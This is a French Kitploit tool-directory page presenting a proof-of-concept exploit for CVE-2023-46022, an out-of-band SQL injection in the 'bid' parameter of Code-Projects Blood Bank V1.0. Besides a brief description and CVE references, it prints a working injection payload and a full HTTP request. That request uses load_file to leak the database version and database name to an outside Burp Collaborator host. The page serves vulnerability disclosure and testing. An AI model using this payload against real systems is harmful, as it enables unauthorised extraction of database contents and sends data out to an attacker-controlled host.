Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-46022-Code-Projects-Blood-Bank-1.0-OOB-SQL-Injection-Vulnerability — Preuve de concept d'exploitation pour CVE-2023-46022, démontrant une injection SQL hors bande dans Code-Projects Blood Bank V1.0 via le paramètre 'bid', permettant l'extraction de la version de la base de données et des données via Burp Collaborator. | Kitploit
Outils/GitHubGitHub/ersinerenler/cve-2023-46022-code-projects-blood-bank-1.0-oob-sql-injection-vulnerability
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubersinerenler/cve-2023-46022-code-projects-blood-bank-1.0-oob-sql-injection-vulnerability

CVE-2023-46022-Code-Projects-Blood-Bank-1.0-OOB-SQL-Injection-Vulnerability

Preuve de concept d'exploitation pour CVE-2023-46022, démontrant une injection SQL hors bande dans Code-Projects Blood Bank V1.0 via le paramètre 'bid', permettant l'extraction de la version de la base de données et des données via Burp Collaborator.

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-46022-Code-Projects-Blood-Bank-1.0-OOB-SQL-Injection-Vulnerability

  • Exploit Author: ersinerenler

Vendor Homepage

  • https://code-projects.org/blood-bank-in-php-with-source-code

Software Link

  • https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip

Aperçu

  • Code-Projects Blood Bank V1.0 est exposé à une vulnérabilité de sécurité critique impliquant une injection SQL Out-of-Band (OOB) via le paramètre 'bid' dans le fichier /delete.php. Cette vulnérabilité découle d'un manque de mécanismes de protection adéquats, permettant aux attaquants d'abuser du paramètre et de mener des attaques d'injection SQL OOB via Burp Collaborator. Cela peut entraîner un accès non autorisé et l'extraction d'informations sensibles à partir des bases de données.

Détails de la vulnérabilité

  • CVE ID: CVE-2023-46022
  • Version concernée : Blood Bank V1.0
  • Fichier vulnérable : /delete.php
  • Nom du paramètre : bid
  • Type d'attaque : Local

    • Références :

    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46022
    • https://nvd.nist.gov/vuln/detail/CVE-2023-46022

    Description

    • Le paramètre 'bid' dans le fichier /delete.php de Code-Projects Blood Bank V1.0 est sensible à l'injection SQL Out-of-Band. Cette vulnérabilité provient de mécanismes de protection inadéquats, permettant aux attaquants d'exploiter le paramètre à l'aide de Burp Collaborator pour lancer des attaques d'injection SQL OOB. Grâce à cette technique, un attaquant peut potentiellement extraire des informations sensibles des bases de données.

    Preuve de concept (PoC) :

    • Interceptez la requête vers delete.php via Burp Suite
    • Injectez la charge utile dans les paramètres vulnérables
    • Charge utile : 3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.collaborator-domain\\a.txt')))%2b'
    • Exemple de requête pour le paramètre bid
    root@kitploit:~
    ---
GET /bloodbank/file/delete.php?bid=3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.cuaxacpnxbay7ss8o3csf4bkwb22qtei.oastify.com\\a.txt')))%2b' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost/bloodbank/bloodinfo.php
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
---
    • Les informations de base de données et de version ont été récupérées via Burp Suite Collaborator
    image
    Télécharger l’outil